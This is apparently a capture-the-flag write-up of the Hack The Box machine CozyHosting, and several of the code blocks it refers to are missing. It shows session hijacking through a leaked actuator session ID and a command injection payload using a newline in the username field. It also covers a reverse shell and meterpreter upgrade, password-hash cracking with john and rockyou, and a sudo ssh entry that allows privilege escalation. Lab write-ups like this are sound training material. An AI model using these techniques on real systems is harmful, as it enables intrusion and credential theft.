At /actuator/sessions there is this interesting entry:
0DF960B8E984BFE1591E481ED1DA02B0 "kanderson"
I could change these values in the F12 browser menu and access /admin:
At POST /executessh with the data host=cozyhosting&username=test%0Als I get this error:
OS Command Injection
http://cozyhosting.htb/admin?error=ssh: Could not resolve hostname test: Temporary failure in name resolution/bin/bash: line 2: ls@cozyhosting: command not found
So we should have a command injection possible here. This worked to read the PATH after testing around for a while:
I then continued to test different payloads until I created a working reverse shell payload.
I fetched the result with metasploit and upgraded it to a meterpreter shell to make things easier
Internal Enum & Persistence
ss -tlpn revealed an interesting open port:
This port 5432 belongs to postgresql.
I created ssh keys for persistence:
This did not work as the app user cannot use ssh with pubkey auth.
According to /etc/passwd there is the user postgres (and the user josh).
I found the psql pw at cloudhosting-0.0.1/BOOT-INF/classes/htb/application.properties after extracting the file which I found at /app on the server:
Database Access
I created a dynamic port forwarding with metasploit and logged into the database remotely:
Using ./john /HTBfolder/Boxes/HTB-CozyHosting/hashes.txt --wordlist=/usr/share/seclists/Passwords/rockyou.txt I get:
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/app/.ssh/id_rsa): /tmp/appuser-rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /tmp/appuser-rsa
Your public key has been saved in /tmp/appuser-rsa.pub
josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User josh may run the following commands on localhost:
(root) /usr/bin/ssh *